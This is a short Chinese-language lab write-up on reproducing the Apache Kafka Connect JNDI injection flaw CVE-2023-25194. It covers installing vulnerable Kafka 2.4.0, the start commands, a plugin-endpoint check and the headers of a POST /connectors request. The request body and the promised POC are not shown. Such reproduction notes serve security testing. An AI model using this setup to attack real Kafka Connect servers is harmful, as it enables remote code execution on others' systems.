Apache Kafka JNDI注入漏洞(CVE-2023-25194)

搭建漏洞环境（如果启动报错建议更换为JAVA11）

kafka_2.11-2.4.0.rar(74.6 MB)

或

http://archive.apache.org/dist/kafka/2.4.0/kafka_2.11-2.4.0.tgz

启动命令

binwindowszookeeper-server-start.bat configzookeeper.properties

binwindowskafka-server-start.bat configserver.properties

binwindowsconnect-standalone.bat config/connect-standalone.properties config/connect-file-source.properties config/connect-file-sink.properties

如果提示 输入行太长 命令语法不正确，输入:

set CLASSPATH=

漏洞复现

访问http://127.0.0.1:8083/connector-plugins查看是否存在依赖

展开

注：需要对数据库进行配置(时区设置)

查看time_zone变量

show variables like '%time_zone%';

设置时期:

set time_zone='+8:00';
show variables like '%time_zone%';

POC代码如下:

接着使用如下请求包创建连接器

POST /connectors HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Content-Length: 821
